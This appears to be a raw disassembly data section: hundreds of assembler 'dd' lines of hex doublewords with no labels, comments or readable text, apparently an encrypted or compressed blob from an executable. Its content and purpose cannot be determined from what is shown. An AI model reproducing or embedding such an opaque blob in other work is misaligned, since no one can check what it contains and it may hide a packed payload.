		dd 816643C0h, 18515CEFh, 3805032h, 38C58021h, 0DA200831h
		dd 8B234D2Dh, 232B2E93h, 0BBB10B15h, 780A6F9Bh,	0D3A560D1h
		dd 819BD08h, 37800DE8h,	1C94F107h, 0BA60153h, 572551D4h
		dd 142A73CEh, 3E89233Bh, 9DC480ACh, 78947DFAh, 67120E54h
		dd 0DB64E79Ch, 87428259h, 0CC898EA9h, 0C815D82h, 0F4A9DF2Eh
		dd 5EC9823Dh, 4237F3B5h, 11B0050h, 9108CD9Dh, 0AA50A56h
		dd 969844BBh, 0CE4ADC69h, 1EC5BF04h, 0D116600Ch, 21DB8101h
		dd 614D573Ah, 0F922908Ch, 955C3336h, 6C5A96E1h,	1753C14Fh
		dd 0BA881208h, 0AC20025h, 0D6DC4FA8h, 7D003D5Ch, 0FC786CCDh
		dd 0A04D88FDh, 880D84E3h, 0BC008E9h, 6A8FF74Ah,	4F561ADEh
		dd 4301E0BAh, 2647D980h, 0E9D040C3h, 0AE409E32h, 4D8ACA59h
		dd 0CEDBE0E2h, 4306C9CCh, 0DF36B25Bh, 882B3DEh,	0E90C10D5h
		dd 0F3170Ah, 538BC46Bh,	277DDFA7h, 5DB2A814h, 0B7133792h
		dd 252D95F1h, 80F88E64h, 6D54FBBFh, 64F0CB24h, 0F2AE7D01h
		dd 0FC50B333h, 0B3417D49h, 7E49655Ah, 962BEC70h, 2D3698A0h
		dd 0E694830Fh, 29028549h, 11F2DC22h, 826D5587h,	3D722276h
		dd 1E059510h, 4C584142h, 0A2C3110h, 46FBB70Fh, 4674B948h
		dd 45B70119h, 0E6D8B949h, 0A11D8374h, 0A9172E67h, 24038304h
		dd 0CC5F9D0Ch, 50F588E5h, 0E69255A4h, 86D932EFh, 44705E8h
		dd 8AE70942h, 1C8CA66Ah, 0A92025BDh, 294732C7h,	930D01D2h
		dd 94C887A3h, 0FE64E8B7h, 0C3596151h, 384C4493h, 510A4135h
		dd 5C28EDC3h, 2EA4E944h, 65E6002Ch, 6AD23B0Fh, 40117A3h
		dd 0EFF3B9B2h, 0CD607773h, 7124562Dh, 0F922144h, 135FD03h
		dd 9D2D82FDh, 0ED40BD29h, 0DD62EF7Dh, 512365DEh, 1817D9BFh
		dd 47D512A5h, 29E31C84h, 91D094CFh, 50F8B410h, 4475DFD0h
		dd 185693A9h, 24C3725Eh, 70CB7489h, 0C3005646h,	5FF120F9h
		dd 17B3A09h, 14B98627h,	2741D379h, 0D9810591h, 89615B6Fh
		dd 0A0C68529h, 0CA8B57EAh, 26FCCC5Fh, 0A20CB937h, 0B64BE1BFh
		dd 0AA238BC3h, 0B95B1F53h, 0E85C8914h, 0C35343E0h, 15906771h
		dd 4F1DA920h, 231E2F50h, 0CEC40118h, 8482A327h,	6480CAD4h
		dd 175D42B1h, 515C20EAh, 8009EDDh, 0E1534D85h, 15F10D72h
		dd 87A5A902h, 2AFCF98Ch, 114F178Ah, 8C878C14h, 0BD0318D7h
		dd 468590Dh, 0EF82849Ch, 4918789Ch, 8114BA95h, 9AD44h
		dd 24B58950h, 42A80FFDh, 6000FABEh, 0E28157h, 5B2DB3B8h
		dd 98D0359h, 8BA48E96h,	1E18959Fh, 96C085D1h, 69E4CF8Dh
		dd 7C2C160Ch, 8EB28B1Dh, 8952ACC6h, 284D101Fh, 0FB9BE91Bh
		dd 38618DD9h, 0B2735806h, 0DD42C19h, 3D131450h,	843D0950h
		dd 8B704D43h, 9057FA2Ah, 0C303BA01h, 5FE959A9h,	0D1D079A1h
		dd 121181Bh, 0D3BC7F63h, 8BA67417h, 102775BEh, 4C4CDA97h
		dd 86DE15C5h, 8E8BB1BAh, 140B4244h, 0D728D995h,	22919D82h
		dd 41EA1212h, 0ED2C607Dh, 0B1B58BC1h, 0F3CE072Bh, 1CA9AD61h
		dd 0A2946102h, 6158422h, 0CA216DBFh, 0E020683Ch, 89798FAh
		dd 0DE945ADh, 0C920F899h, 0C5120615h, 9B2AF25h,	8A2D9DEEh
		dd 0C1399ACBh, 8841CF72h, 2FAC2495h, 61C18B7Dh,	71A0AD66h
		dd 0C41383C9h, 2C016010h, 3205A177h, 79F75E8Fh,	8264C512h
		dd 0E0591549h, 0DF1FD3F1h, 8EBA78E1h, 18ECCE12h, 30B14E04h
		dd 29E88419h, 3258004Eh, 0F919B677h, 31E50021h,	0FED8A50h
		dd 7201BE33h, 2BD0A2F4h, 8064658Dh, 0BD81245Ah,	726F4315h
		dd 0E38461EAh, 0D68B44BAh, 0C4501498h, 35FAF70Eh, 0BC4203B6h
		dd 0CC45165Bh, 68044400h, 96A3184Fh, 0D8568B78h, 0C30A4A2Ch
		dd 4A484342h, 748943ABh, 0EB3A3108h, 5BC96594h,	919C10ACh
		dd 1A465Eh, 0ED925579h,	0E45209A7h, 0D491548Dh,	5199E9h
		dd 8EBFB665h, 6A010150h, 2F68ABF0h, 0D3210388h,	222CA325h
		dd 0FE275FD4h, 0F98B2510h, 0F43E279Ch, 65172269h, 4B8B962Bh
		dd 0A59876DFh, 91C82D51h, 96BA8152h, 225AB3FAh,	8C35C8E5h
		dd 0A14AA6B2h, 6432C782h, 60C46214h, 0C819A93Eh, 1821183h
		dd 441875B5h, 67836005h, 0DAD0F2BAh, 0B6115E96h, 69133F48h
		dd 17E03C2Ch, 1151608Ah, 0E4E0991Bh, 4603523Bh,	96E98CAEh
		dd 0D1AA828Fh, 0AA04E0Ah, 16FD2A8Dh, 0CA4B851Dh, 10086AD2h
		dd 0B7838012h, 0FC8F39E9h, 0C7362A00h, 0EB65BA1Dh, 7B37F34h
		dd 5A53AF9Dh, 0DDE9125Fh, 80FC9DA4h, 5DB966E0h,	0FC3C304Ch
		dd 0D4E48FD4h, 9529092Fh, 60C8A665h, 0CB1202Eh,	62263698h
		dd 81879EC2h, 6D70E2C9h, 0A33F6829h, 8AB284A6h,	334F4500h
		dd 37861B7Eh, 8A38C9EEh, 2556596Ah, 955E2A27h, 3F108A67h
		dd 25A73E4h, 5DC50970h,	0BBC25619h, 0F3AE5AD9h,	0A32526ACh
		dd 0D003B91Ah, 2E802B27h, 582D8CDAh, 0F7D9018Dh, 6D273AD4h
		dd 7F7959E2h, 0E3F1FC03h
		dd 9BFEE0FDh, 0B41A0074h, 6C5C5793h, 0FF404D79h, 0E5112FF2h
		dd 0DB62978Bh, 18793B51h, 5D0B3218h, 822A29D0h,	79058DE1h
		dd 0A81AC98h, 0A731499h, 1F1030F1h, 0BC39958Bh,	18E8749h
		dd 0C92CA5C5h, 39D9F917h, 90A77EC4h, 0A2601A44h, 0E9777BB4h
		dd 482D0B34h, 8725B46Fh, 1CFC9844h, 6F21A300h, 1A71D720h
		dd 8FA63D0Fh, 5DC2A31h,	0F05B4414h, 0FF76688Dh,	3DFF0F54h
		dd 0F9D407FDh, 42227DCBh, 1F8DF4FFh, 974993A4h,	0BCE75914h
		dd 31E15C48h, 3B3AC904h, 0F57E849Fh, 29E001A6h,	3D8C040Eh
		dd 78F5648Ah, 704536Dh,	29F450FAh, 9523883Ah, 84275524h
		dd 29894849h, 142AE5B5h, 16888253h, 18FE93A0h, 0C1812694h
		dd 7AE95724h, 0D2EA9017h, 2E48DE7Eh, 423E2A1Fh,	8D3EF864h
		dd 0D2B55BE4h, 0C8B78E1Eh, 0C90EC018h, 2B5C4F4Dh, 0CE352A6Fh
		dd 0C8E0BF06h, 25D401F4h, 14B12365h, 3A2E1425h,	0A0051423h
		dd 0DA09F957h, 6A0690BDh, 96ECDE10h, 8431382Dh,	22825CA2h
		dd 0D452199h, 69F30E25h, 0A9851BBh, 0C0E3CE8Ah,	0B70F50FCh
		dd 2EE2D356h, 1F100101h, 8529328Ah, 10FCE5D2h, 0E82C427Ch
		dd 0ABA54056h, 0AD5C77CFh, 0F4D40009h, 230BB31Ch, 0D3140590h
		dd 645FFB8Bh, 99EC81E3h, 1108330Dh, 8940AD8Dh, 3F1B5BD1h
		dd 1D23BEh, 3AB33D82h, 6E02CE6Dh, 0B2E678A6h, 91174C50h
		dd 5FE2809Ch, 74FEC470h, 2E477F01h, 13C97CC5h, 0CBA73E8h
		dd 759D011Bh, 91A15997h, 7FBF112Ah, 994496FCh, 99D61F4h
		dd 9653222Bh, 0DE1B704h, 0FA2E2625h, 461D154Dh,	0E1810126h
		dd 350A73C1h, 78608942h, 872D0253h, 1DF9B531h, 80686101h
		dd 0BFC2A36Dh, 0E57B3BCFh, 82F96AC7h, 0B0194539h, 0A41D99CCh
		dd 30F92008h, 0C0C62497h, 1CF258A2h, 39DE2030h,	4E06D68Ch
		dd 0D2DB5508h, 1280EA05h, 6E2860Fh, 0FB0CC380h,	460056F7h
		dd 5AE4C87Dh, 0AA4E21Bh, 1CE31A9Dh, 27B691F0h, 0EC0C4CF5h
		dd 54B5AA41h, 5C642E7h,	9BD3300h, 0CDEF8320h, 0E9DA60B0h
		dd 560121DCh, 93286029h, 1002CC21h, 40CC4102h, 6E4E627Ch
		dd 0FDF92884h, 1AAD95B4h, 9FDC815Fh, 0BC15AF5h,	0C926E1DCh
		dd 4259D0A3h, 0B37DD303h, 360990FAh, 21B53901h,	0F25AC8CBh
		dd 5742EF64h, 82D0E680h, 0B84E7988h, 79B510A9h,	0E580062Fh
		dd 805C61F2h, 961F5596h, 8FFC92F3h, 0FED88810h,	0B6F5D842h
		dd 3638E016h, 0E5340AC5h, 10AB3196h, 0EB1A4B09h, 44EA47C2h
		dd 99966317h, 51682E80h, 47729645h, 4B75B650h, 0BFCBC80Ah
		dd 0B0AD663h, 8690FD95h, 4A318D03h, 892A7214h, 8544BD74h
		dd 4187BA9Eh, 0B3811BC5h, 0CEEEA63Ch, 28CF05C1h, 0E781C043h
		dd 4F4098E2h, 78810F23h, 0CB603457h, 8276224Bh,	40C1569Fh
		dd 3BB619FDh, 78C72B00h, 63606A91h, 70F46Ch, 16A764D5h
		dd 0B50928CFh, 2E66AD59h, 6D6B745Ah, 0AF82E027h, 0C3A198D3h
		dd 0E99F515Dh, 2722A630h, 0B164676h, 843DC193h,	5794A93Bh
		dd 5A23A9D8h, 50F649BDh, 0DE001344h, 5FF8B33Bh,	143DD8F6h
		dd 0ECE11F81h, 31BEB378h, 6225EDAAh, 0E60193BEh, 5A391FE0h
		dd 0C73B9F66h, 6E1EDD10h, 898B176Bh, 0BAC019C8h, 49D57D95h
		dd 3141C68Fh, 1CEEC11h,	1D882E4Eh, 4E48F0C0h, 135A02ACh
		dd 9B96CD2Fh, 0FC1C9B82h, 0C29D3103h, 74CC281Ah, 0D33D1946h
		dd 0A92004FDh, 0E2016AEBh, 0C06200ECh, 5194344Eh, 0AA700065h
		dd 6461EF31h, 22C33B3h,	0BBC8C963h, 8A483611h, 8A40593Dh
		dd 4A14EA52h, 1812E88h,	0ADD949A5h, 66CF9004h, 291450E4h
		dd 9C4D0541h, 38C23D5Bh, 0BA45FEB1h, 0D1507F91h, 12A5F6E7h
		dd 0DEA99D29h, 0C0188817h, 1DD4A7C2h, 0E9E9F924h, 0E25B5340h
		dd 883A0064h, 0D108EAD0h, 682C84A3h, 0E502531Eh, 0FF74334Dh
		dd 0D9945FD2h, 0D0BC00DCh, 0EFD13CDEh, 8B176081h, 98479585h
		dd 58198D89h, 0C3614943h, 6AC28180h, 7A0269CFh,	0E4BA6650h
		dd 0F4B44CCCh, 8AAA25BFh, 0CA8B7030h, 8005AF93h, 0FB6154EDh
		dd 0FC488E0Fh, 1FBE7F60h, 0D0047091h, 30944A61h, 665FE4AFh
		dd 63FBA800h, 2DD4F7D9h, 328A029Fh, 5FCB8BC1h, 95092E90h
		dd 38245D25h, 9F8D0F06h, 7700DA14h, 56BCD408h, 7E83CBADh
		dd 0F7191CB5h, 0F58A49FFh, 8EA6E171h, 1B4674h, 7B858609h
		dd 48BDFCB8h, 0E2C0A96Fh, 3668CC3Fh, 778C3500h,	0EA1979E0h
		dd 0C12F0AF7h, 0AA36901h, 9662BA5h, 0F9D120BDh,	99181BD9h
		dd 63F7FE01h, 0B94CF075h, 41699330h, 22A22C15h,	2E76CA18h
		dd 2ECA250Ch, 7AF09B0Fh, 3B3CB526h, 6A5522B2h, 69D376B6h
		dd 0A228DB18h, 4FFC38h,	0BDCA5BFBh, 2E0CD2DDh, 298E4EF8h
		dd 181CD1A8h, 3EA13F0Eh, 0A8EE9A03h, 0D12E37B3h, 8664080Fh
		dd 8FEDB589h, 3900FF4Bh, 5B83F19Ch, 0AE27DEF2h,	2805E60Dh
		dd 0EC3A870Fh, 21249989h, 821F80E1h, 5C9614E5h,	0A628FD1Eh
		dd 0C1BD6600h, 6B43D987h, 924B94ABh, 8DC0F3B3h,	97A51CC5h
		dd 8F7FBA01h, 45286A53h, 317A0B22h, 7DDBE500h, 8374E24Bh
		dd 0BCB948ACh, 5968E00Ch, 0BD7A01E8h, 65DC1D4Fh, 78D20BBAh
		dd 0C18B7EAAh, 2EC0826Dh, 12B92CC4h, 0A2FB0F25h, 0A5A0004Dh
		dd 0EE422F62h, 71DC0020h, 641CF711h, 0D44AF48Ch, 0D9236F3Eh
		dd 0D30BD9F9h, 5E03C7A2h, 261D9BEDh, 0FCB7B9F0h, 5A4FD90Dh
		dd 0BA6392F8h, 27608E01h, 0FFE35895h, 9CB096E8h, 0B150DE00h
		dd 0CD887D86h, 0C2314F49h, 5A0409CBh, 4D37D5BCh, 82D864ABh
		dd 0BF220546h, 43CE8396h, 0E5A61853h, 89032921h, 50EBD3E5h
		dd 20D306AEh, 1012FDE1h, 9DD5C5Bh, 300214F7h, 0C92E15B5h
		dd 9802E479h, 3E5149BCh, 7D21CD4Fh, 619D83FFh, 8D410B1Bh
		dd 209108F5h, 0A2793360h, 7C143015h, 74C88A34h,	0F5086E56h
		dd 9D09030Bh, 694027B9h, 75B6359Dh, 118E17CBh, 0BFD69914h
		dd 230BBE6Ch, 0BE43C995h, 4790C13h, 0DC18B092h,	98C5BDDAh
		dd 538FE19Ah, 0B9610260h, 62B14988h, 856951D4h,	0D2B8C86Ch
		dd 0DE981C0h, 3D4F10B1h, 76771E05h, 26801998h, 0C7DD63C1h
		dd 91A1F629h, 7B85908Ch, 26115C4h, 0FBC0ACD5h, 1840C04Eh
		dd 18FF281h, 0C7236F6Dh, 282B1985h, 0C2ACD86Dh,	60460342h
		dd 227D9D23h, 0BD763F76h, 45051E97h, 6288D93Ch,	315104DFh
		dd 61F0A98Dh, 8C3D2859h, 0D3831613h, 314ED101h,	5F80429h
		dd 0E9341920h, 798C2F33h, 0C6B30009h, 5B14D8A7h, 7E0E523Dh
		dd 0CA5AF924h, 0A5912E96h, 7FC0C748h, 0F0BD4FEFh, 0EE678400h
		dd 0B0889AF3h, 0CC9C09DEh, 0FFC67DD7h, 124B797h, 0CA802017h
		dd 0D88870B3h, 62D87C4Ch, 79377B0Ch, 5399A00Eh,	0DA0DB905h
		dd 382E7442h, 0D23E8081h, 0B56978EFh, 0B59DBC01h, 0A08F0413h
		dd 7E0BC6C4h, 0B90BC610h, 11249C52h, 18EA567Dh,	96214D22h
		dd 194674F7h, 79664601h, 2F822777h, 8D2B5D30h, 651A4101h
		dd 0C577AD89h, 11F22C21h, 0E0512705h, 0C9C75F9Ch, 823224D6h
		dd 2F10BE76h, 435DE912h, 59953126h, 63705F7Bh, 913B1DB7h
		dd 0EE3F8018h, 9536A33Bh, 9507711Ah, 10609AD9h,	4C2E2201h
		dd 36C0CCE9h, 0B8F90E64h, 15A4DF6h, 1623873Bh, 0A665D700h
		dd 50F1ADE9h, 0A88699FFh, 99258534h, 1EC01385h,	0FF6B6D09h
		dd 0BF687BCh, 4B51618h,	47C66181h, 7DDE252h, 7DD083Fh
		dd 800F3F5Ch, 0A6A970DEh, 0CB0048E3h, 40FEF81Ch, 4C77078h
		dd 0C680FB67h, 35B226h,	0E697DECDh, 223362Eh, 0CC3B114Dh
		dd 0B9F05F24h, 8B97E558h
		dd 2459C0h, 0D1C6E24h, 16000E6Bh, 0DA41B950h, 2CBE45h
		dd 729D8C1Bh, 23FE911h,	103A2BE1h, 0BD161423h, 0FF91EA0Ch
		dd 0FFE10481h, 0C30232EDh, 0D4A5243Dh, 1C40F014h, 0E68B90BFh
		dd 6A7E04A2h, 0F88B5752h, 615F810Fh, 8B235EE9h,	6D45D93Fh
		dd 0D17C0013h, 7DA828AFh, 0C1F1004Ah, 0EEBEF7F3h, 0CB193244h
		dd 2C80181Eh, 6E704FC3h, 0A1C90FA5h, 95744027h,	5E0B6797h
		dd 8BCA1F40h, 14824D0Eh, 61052AA5h, 33A07025h, 8634646Ah
		dd 0B1EB959Dh, 9412065Dh, 0D52FC498h, 7582432h,	162D2C1h
		dd 0F6DB8C10h, 0CA04C324h, 0CC4BFC11h, 68045679h, 9CA8B852h
		dd 45C6A78h, 0EE102037h, 7281DF64h, 0A6FE8FB8h,	23AC9B70h
		dd 4CCEC18h, 1EF0528Bh,	61684F03h, 0BDDD2F26h, 970CB5A4h
		dd 18537D8Bh, 1856286Ah, 7553C085h, 68410175h, 0DB876498h
		dd 0A8CE7C6Fh, 4C0E68AEh, 4AE7A468h, 0C2D22080h, 0F388133Ah
		dd 8AA0AC5Bh, 8554AB94h, 3C71561h, 858C5D3Ah, 0E020C43h
		dd 182B8507h, 283E54Eh,	292E4743h, 11288BB5h, 45006785h
		dd 0A5F79768h, 205D8092h, 2673387h, 14280C56h, 0DB603275h
		dd 4EA146B4h, 0D60C65A4h, 1963449h, 3AF18160h, 29E0E7D5h
		dd 15989FBDh, 40CE36BBh, 14D1E489h, 0BD015001h,	64A0505Dh
		dd 53A035FFh, 89F2F58Ah, 6B092551h, 0BD2BC130h,	290C4099h
		dd 45C98534h, 0B19E781h, 51B80C15h, 13F5333h, 0BB0DDBB5h
		dd 257A2A5Fh, 3CC1082Fh, 0A84B809Fh, 11165108h,	0E9F80B2Fh
		dd 0CD8E29E5h, 0D902C08Ah, 0BA0B7E70h, 2760A78h, 303D72h
		dd 0AAB6DB33h, 0BF3CC0E8h, 702A80A8h, 0D154E7B9h, 0F40016Ch
		dd 640B073Fh, 703C728Fh, 22C48326h, 0A4068D08h,	1F710B5Eh
		dd 1DD9C771h, 48007418h, 3A10D22h, 1833605Ah, 0B0CE8A39h
		dd 83800649h, 52EFB0FBh, 6E5AD284h, 826E0055h, 0E971285Eh
		dd 91B3942Ch, 9D310F93h, 82537619h, 0C70C5701h,	2199A481h
		dd 0E98303FFh, 41594B8h, 8BC30CA2h, 7055305Ch, 0F8758AE8h
		dd 8B47A881h, 821BA283h, 2837E653h, 4F5D9A0Ch, 0AFF3755h
		dd 0DEC2DE9Eh, 7782F100h, 48896B86h, 0CB262E21h, 8509C1EEh
		dd 22232FB5h, 0FD514D3h, 1D8E128Fh, 0D4B10B70h,	7088D350h
		dd 3400538Ah, 6630C2DBh, 60E935B3h, 0D51A230Ch,	0C5003246h
		dd 2708D48h, 93F4D072h,	42E6A9E8h, 60240E86h, 14E15881h
		dd 0CC046907h, 0B961040Bh, 0B80701F9h, 0C055D704h, 0F7816405h
		dd 65BB0D00h, 0BA8685D4h, 34B62740h, 5FE83C40h,	0E0ED0CCEh
		dd 4D5868FBh, 0BA22BF56h, 9C320D8Dh, 0A3B7BFA7h, 0E92E9238h
		dd 0A2A44AF3h, 301CF25Ch, 0FE01E3DCh, 9DBC3119h, 167EB762h
		dd 0A9A71252h, 0D844F1Eh, 0B8B09304h, 3DE19DA3h, 0E1210804h
		dd 0E8859308h, 0AD347020h, 80109F8Ch, 7E0739C6h, 6EC042C1h
		dd 0CA40A000h, 0EB9F0394h, 0EC75106h, 7CFCCC02h, 4D5A70CDh
		dd 92E0EFA9h, 0C5CA93B9h, 36C6900Ch, 20E9F48Bh,	0BBD2013Ah
		dd 382E3B03h, 10A8F35h,	784500DCh, 74706563h, 6E1C6F69h
		dd 66DD4920h, 616D7285h, 6CCC0C18h, 0E673F265h,	8206F2Ch
		dd 74A7648Eh, 3639DF68h, 7799C76Ch, 0F967F969h,	0FD64E963h
		dd 0F928BE73h, 406196FBh, 0FBE3C7B5h, 6D2A3A2Eh, 6854200Ch
		dd 79EC6B16h, 0AFE75F6h, 0F4040D6Fh, 7028C601h,	62736046h
		dd 4C525443h, 0B3FF2B75h, 66699ED1h, 0A064971Eh, 70A18FD8h
		dd 6C08A879h, 0FE62F269h, 64721461h, 42403629h,	52657D56h
		dd 7F7F9973h, 0CA25793Dh, 287431Eh, 4E496B63h, 70640FA4h
		dd 8E54554Fh, 6F72501Fh, 0F851DE8h, 0F643BB4h, 7469E606h
		dd 210F873Dh, 502A6F1Eh, 7418348Eh, 10C8AC1Eh, 90DD2DC5h
		dd 16EB4801h, 3BE2AB4Bh, 32AAB511h, 0E1802568h,	27B05BC1h
		dd 4B38EC24h, 45F619A1h, 94FC8907h, 5824C916h, 29656BEEh
		dd 217D54EEh, 38FA4425h, 486F8DDBh, 0AB285839h,	380E448Dh
		dd 0A648D46h, 678D2F38h, 375978FEh, 4A02CA1Ah, 910A3E51h
		dd 2EE1840Ch, 88A2E905h, 9124BD73h, 95653A09h, 19490D44h
		dd 11118521h, 0D02B958Bh, 0F8C281ECh, 90BD4CB2h, 0BC958D3Fh
		dd 345243C1h, 0C3402805h, 0F3813BD4h, 0D4292A31h, 550CED76h
		dd 0A89D8B88h, 0BE4CC313h, 0A3652944h, 88501011h, 95479FAh
		dd 210E39F9h, 0F20A1058h, 0F012125Ch, 0DFADC94h, 6811AFADh
		dd 5A49CD41h, 0DA020C90h, 0A060558h, 6EA0C5Fh, 912FA55h
		dd 0F00A4288h, 28421C4Ch, 16010E61h, 552C7A48h,	406A3224h
		dd 19961224h, 1FEF649Ch, 8BF998A5h, 0E848C1h, 9821B80h
		dd 2E03B427h, 213D3854h, 0C583D881h, 605112FFh,	9F86B4E8h
		dd 31DF0B00h, 4370348Ah, 615B0BF0h, 0EC045E59h,	4A0520Eh
		dd 753600A8h, 5E2743F5h, 4A3960BBh, 586183E6h, 0FBC6815Fh
		dd 0F0304B5Dh, 6904FEC9h, 8A0F4F62h, 2EB8D5E5h,	16D22B99h
		dd 8864170Ch, 0EF80D1FCh, 244728F7h, 161C8B1Fh,	80C7B7CFh
		dd 3C0B0F3h, 0F0F8F85Ah, 541D00C3h, 0B8662C49h,	14C051BEh
		dd 636A8DFDh, 0C9535CF5h, 48FC700h, 81EB8A16h, 724AC107h
		dd 0EA602671h, 2E110919h, 6D35120h, 0CAF803E1h,	1B15C233h
		dd 0FA7A0B8Ah, 0A362A35Ch, 0A3D07742h, 940E94Ah, 0BF0D4845h
		dd 0BD77005Fh, 0EAB590E8h, 34DC9CE9h, 0F2F51A87h, 0C5C0BFC0h
		dd 0AC49005Eh, 0F66128DFh, 56292A4Fh, 367004DDh, 10586026h
		dd 73BAC18Ah, 0DE7ECE1Bh, 770C721h, 0F949BDFh, 5320F72Ch
		dd 0C47F84h, 68AEBE55h,	3D48CF5Eh, 288B3210h, 3FD40457h
		dd 8150DE29h, 7F69AEBDh, 21BBD6h, 0A9936802h, 317CAB51h
		dd 0C7183FDEh, 37398C5Bh, 18AB41D0h, 185FDE1Ch,	6C610298h
		dd 0C7DC2539h, 6FED5180h, 27FF4512h, 0BFF61A00h, 6AFC9B0Ch
		dd 59CF0717h, 16DA0FE7h, 0AD1591F7h, 7898719Ch,	7E63C100h
		dd 0D1E49EC0h, 38403FD2h, 216CAF18h, 0A712B6F1h, 0F3BC5A35h
		dd 86190533h, 5ECEC2A0h, 0C7E1DC00h, 9A51A6A8h,	9BDE3E45h
		dd 0CCB65400h, 0D4B1B26Ah, 0EABA961Dh, 0DA8EA343h, 0E00800B0h
		dd 26C28CA4h, 40052973h, 5FAE581Dh, 2B114C70h, 48B50A56h
		dd 49E0BA2Fh, 0C800588h, 29489FB1h, 0F009CF32h,	45960424h
		dd 0AC404D18h, 88A7AFD4h, 0DC2C0097h, 451155F6h, 48C24162h
		dd 43AC17DDh, 0E02042A4h, 73A2C107h, 86764722h,	0D63A18DAh
		dd 21ED3352h, 7FD2C0F6h, 2471CEE8h, 1EB09FE5h, 48571888h
		dd 52E8F192h, 0C719CE06h, 0C7035F3h, 0DE94AAAEh, 1E9A7F8h
		dd 0F1C07F11h, 4E0E03ECh, 63C6577Bh, 0A0FBC100h, 0F90CE01Eh
		dd 142F1C19h, 406C7A41h, 80022A69h, 0DBDA16E8h,	0E91048C3h
		dd 3B10CA1Dh, 10A898h, 0A032C199h, 7CE6D0A1h, 0DF7F6A11h
		dd 0F5CF070Eh, 3CD2EC82h, 0F08A7448h, 0AF89BCA8h, 16F9A107h
		dd 46062491h, 227879h, 5F091827h, 0A4F0770Ch, 31B08060h
		dd 9041E01Ch, 7EAF29D2h, 0A92103ACh, 0B0A7F193h, 85153771h
		dd 0DF26BC05h, 0C040D836h, 7521A846h, 29071D69h, 0ED0883F5h
		dd 21242BD3h, 0AF881CE0h, 0F088A27Dh, 21F78875h, 0EA6B100h
		dd 0DA255306h, 49D4A687h, 2841A88Ch, 306D6058h,	0A72180D2h
		dd 8A0340DBh, 0A6A5CE1h, 0A3190581h, 4173C7AEh,	7BAFDAD0h
		dd 0C12020FFh, 2F879E00h, 5190D04Dh, 0AD6305DFh, 60E481F7h
		dd 0DBA38B14h, 0D2304450h, 0FE7CB542h, 30E27C7Dh, 9D69D7C6h
		dd 0BE000AA1h, 685EB8D4h, 32E26C5h, 3FEC1510h, 290057C7h
		dd 0E4A62C4Fh, 49C631Eh
		dd 0D8DA4099h, 0BF0C91CFh, 0B6831A5h, 2C7FC228h, 0B4011DBEh
		dd 39A9999Eh, 26952C40h, 0C0F1547Fh, 1845B009h,	61556145h
		dd 0AA005253h, 17127DF1h, 91E35721h, 0C07B101Ch, 0B8F493A4h
		dd 5623280Dh, 95382198h, 317A5308h, 896D018h, 21734207h
		dd 7F0B88E8h, 74B1BD00h, 18D41E81h, 0A9E57E6Ah,	0D02E31B5h
		dd 0B11F071Fh, 0EA19EC18h, 3E6F291h, 0ADC82407h, 5C018ED4h
		dd 0F094BF98h, 0B6C10A61h, 4EB0434h, 0F777CCE7h, 0C030D48Ah
		dd 69899AB1h, 44730F0Dh, 144058E1h, 809EC2EEh, 0E00A257h
		dd 31552C95h, 18D992A4h, 20C6AE1Bh, 4D4CBE4Fh, 207229E8h
		dd 300BB1C2h, 0A015DEE0h, 0A85902h, 8A0CBDB6h, 19735ADFh
		dd 8A2D72Eh, 9D21804Ch,	2FF0CB5h, 0DF36242Dh, 6E00BD2Ch
		dd 0CB6168A9h, 0FB03D882h, 0FA6A7370h, 87508FE1h, 2675Eh
		dd 324A0CA8h, 8EDBB5Ah,	1EC16500h, 67FABB1h, 13AE0A4Bh
		dd 13C054F7h, 0A26404DDh, 0B85410DEh, 0DE43B0h,	3366040Ah
		dd 2C745AD1h, 80741836h, 0A61B3B70h, 3D02C222h,	0C68D2AB5h
		dd 6F3C4853h, 0BD190095h, 0E2BAB6D6h, 8CCEECEh,	90216Bh
		dd 8E4F199Dh, 0CCFE7148h, 0CAA7200h, 1CFC38D4h,	1304743Bh
		dd 4C2F17D5h, 80795F9Ch, 372AB3F0h, 0CA269C2Eh,	0A3007CF4h
		dd 0AB5382EAh, 0D308CC9Ah, 8C39EC21h, 0F348021h, 0C17CF0A2h
		dd 357B28CEh, 29C4688h,	0DF960CB9h, 814A31BAh, 0CB19921h
		dd 2260C398h, 303C98EEh, 9C69D937h, 0B5752232h,	75FDBA00h
		dd 4085C85Dh, 0DAFE0109h, 0B8358E99h, 0E840719Ch, 0E0F3CFE1h
		dd 0BA3A7FDCh, 0E26C52AEh, 6E6032D2h, 0DC121A15h, 5840D825h
		dd 0CB415D56h, 81DD26FAh, 8332475Ch, 10437267h,	30D6E2A4h
		dd 0B50E5E95h, 25B36B78h, 82912Ah, 87AF24E4h, 0A65AA0F8h
		dd 440F1AA1h, 0C040F206h, 4756014Eh, 7E99284Fh,	0A4FD0054h
		dd 0AB67F169h, 5E335ACEh, 7F50893h, 699CA021h, 4CC38009h
		dd 0B4A2488Ch, 69A92010h, 0C367F411h, 0A383FA88h, 0F1DA69A1h
		dd 24C4F8F1h, 72EF00BFh, 0FA38FCC2h, 88AC526Dh,	0F002AF46h
		dd 8AA3A521h, 0E810D731h, 0C5002188h, 67E0BC7Ch, 8CB0C95h
		dd 6445EAF3h, 6ECCDD81h, 0F832C55Ah, 43E51400h,	9B461BD2h
		dd 17054401h, 6A54B8DCh, 416DDC30h, 86A8422Bh, 10199230h
		dd 0E0EED6B6h, 199A8Fh,	0B0A1881h, 8212BFC7h, 1A29D4E6h
		dd 0F6D19CF7h, 6103F418h, 48741CE9h, 1BC3A0D4h,	84854CC0h
		dd 608BA064h, 23BB1997h, 611186D6h, 199F9200h, 0FC3E3170h
		dd 0EE0D5F01h, 2A4E154Fh, 30897842h, 0B9111991h, 6A8896D6h
		dd 19998C80h, 8A6F20h, 0C45A0F2Fh, 2559C709h, 0EC74C550h
		dd 5566081Eh, 8814B45Eh, 19908030h, 8C9ED6B8h, 2C8D6444h
		dd 34E1998h, 90951E9Ch,	0C1EC4CA1h, 2069F966h, 684C4658h
		dd 2508545Ch, 4E9E2C03h, 0E3671E34h, 0A9190C7Ah, 0DF9116D9h
		dd 26F4A85Ch, 0DE9821h,	88CB8BACh, 0E3289A58h, 0AA264475h
		dd 4589505Eh, 0AFCC486Ah, 68F70B8Bh, 100A371Eh,	60467428h
		dd 0B6DED90Fh, 1BD44443h, 0CB3622BFh, 5FBF94C8h, 882C0AFAh
		dd 0EA83C8A2h, 0D999FF7h, 5A250770h, 0FF086098h, 0EA6A00E9h
		dd 0A8260059h, 0B9093551h, 1316A9A7h, 584E7BBFh, 0B18645C3h
		dd 46FE203Ch, 45320323h, 94A6161Ch, 30987482h, 0F01169A5h
